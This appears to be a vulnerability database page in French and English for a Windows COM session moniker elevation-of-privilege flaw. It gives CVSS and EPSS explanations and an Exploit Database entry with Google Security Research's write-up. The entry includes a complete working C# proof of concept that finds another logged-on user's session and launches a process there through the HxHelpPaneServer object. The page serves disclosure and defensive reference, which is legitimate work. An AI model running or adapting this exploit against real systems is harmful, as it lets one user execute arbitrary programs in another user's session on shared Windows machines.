Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-287 |
Improper Authentication When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V3.0 |
7.8 |
HIGH |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
V2 |
4.4 |
|
AV:L/AC:M/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 41607
Date de publication : 2017-03-14 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1021
Windows: COM Session Moniker EoP
Platform: Tested on Windows 10 14393, Server 2012 R2
Class: Elevation of Privilege
Summary:
When activating an object using the session moniker the DCOM activator doesn’t check if the current user has permission allowing a user to start an arbitrary process in another logged on user’s session.
Description:
The COM session moniker allows a user to specify the interactive session that’s to be used when a DCOM object is registered with an AppID with RunAs of “Interactive User”. As switching sessions is not something a normal user can do you’d assume that this would be only accessible to administrators (or at least with Impersonate/Assign Primary Token privilege). It turns out however that there’s no such restriction, this allows one user to instantiate a DCOM object inside another user’s session on the same machine (think Terminal Server or Fast User Switching).
The only restriction on the user then accessing that instantiated server is the specified Access DACL. The default Access DACL on a modern system only allows the user identity the server is running as as well as Administrators to access the created object. However there are a number of statically registered servers which allow the interactive user group (and who knows how many dynamically allowed ones through CoInitializeSecurity). I already described one these in my blog post of resurrecting dead processes, HxHelpPaneServer. With this object we can execute an arbitrary process in the context of the other user in their session.
Fortunately at least it's not possible to create an object in Session 0 (as far as I can tell) as that's not an interactive session.
Proof of Concept:
I’ve attached a proof of concept in C#. To test PoC use the following steps.
1) Create two users on the same machine.
2) Log on to both users to ensure account setup has completed.
3) As one of the users execute the PoC, ensure it prints that it’s going to start a new process. Switch to the other user (without logging out the one running the PoC).
4) After about 20 seconds a copy of notepad should start on the other user’s desktop. Of course this could be any process including an arbitrary executable from the other user.
NOTE: Make sure these user’s are not administrators, or at least are split token administrators. If they’re the Administrator user which doesn’t run by default with a filtered token then the user will not be able to access the DCOM object due to High IL and executing the process will fail. That’s not to say it’s impossible to exploit that scenario, just more difficult.
Expected Result:
Using a session moniker for a session outside the current one should fail if not an administrator.
Actual Result:
DCOM object created in the specified session an arbitrary executable run as that user.
*/
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Threading;
namespace PoC_SessionMoniker_EoP
{
class Program
{
[ComImport, Guid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IHxHelpPaneServer
{
void DisplayTask(string task);
void DisplayContents(string contents);
void DisplaySearchResults(string search);
void Execute([MarshalAs(UnmanagedType.LPWStr)] string file);
}
enum WTS_CONNECTSTATE_CLASS
{
WTSActive, // User logged on to WinStation
WTSConnected, // WinStation connected to client
WTSConnectQuery, // In the process of connecting to client
WTSShadow, // Shadowing another WinStation
WTSDisconnected, // WinStation logged on without client
WTSIdle, // Waiting for client to connect
WTSListen, // WinStation is listening for connection
WTSReset, // WinStation is being reset
WTSDown, // WinStation is down due to error
WTSInit, // WinStation in initialization
}
[StructLayout(LayoutKind.Sequential)]
struct WTS_SESSION_INFO
{
public int SessionId;
public IntPtr pWinStationName;
public WTS_CONNECTSTATE_CLASS State;
}
[DllImport("wtsapi32.dll", SetLastError = true)]
static extern bool WTSEnumerateSessions(
IntPtr hServer,
int Reserved,
int Version,
out IntPtr ppSessionInfo,
out int pCount);
[DllImport("wtsapi32.dll", SetLastError = true)]
static extern void WTSFreeMemory(IntPtr memory);
public static IEnumerable<int> GetSessionIds()
{
List<int> sids = new List<int>();
IntPtr pSessions = IntPtr.Zero;
int dwSessionCount = 0;
try
{
if (WTSEnumerateSessions(IntPtr.Zero, 0, 1, out pSessions, out dwSessionCount))
{
IntPtr current = pSessions;
for (int i = 0; i < dwSessionCount; ++i)
{
WTS_SESSION_INFO session_info = (WTS_SESSION_INFO)Marshal.PtrToStructure(current, typeof(WTS_SESSION_INFO));
if (session_info.State == WTS_CONNECTSTATE_CLASS.WTSActive)
{
if (session_info.SessionId != 0)
{
sids.Add(session_info.SessionId);
}
}
current += Marshal.SizeOf(typeof(WTS_SESSION_INFO));
}
}
}
finally
{
if (pSessions != IntPtr.Zero)
{
WTSFreeMemory(pSessions);
}
}
return sids;
}
static void Main(string[] args)
{
try
{
int current_session_id = Process.GetCurrentProcess().SessionId;
int new_session_id = 0;
Console.WriteLine("Waiting For a Target Session");
while (true)
{
IEnumerable<int> sessions = GetSessionIds().Where(id => id != current_session_id);
if (sessions.Count() > 0)
{
new_session_id = sessions.First();
break;
}
Thread.Sleep(1000);
}
Console.WriteLine("Creating Process in Session {0} after 20secs", new_session_id);
Thread.Sleep(20000);
IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id));
Uri target = new Uri(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "notepad.exe"));
server.Execute(target.AbsoluteUri);
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
}
}
}
Products Mentioned
Configuraton 0
Microsoft>>Windows_10 >> Version -
Microsoft>>Windows_10 >> Version 1511
Microsoft>>Windows_10 >> Version 1607
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_8.1 >> Version *
Microsoft>>Windows_rt_8.1 >> Version -
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_server_2012 >> Version r2
Microsoft>>Windows_server_2016 >> Version -
Références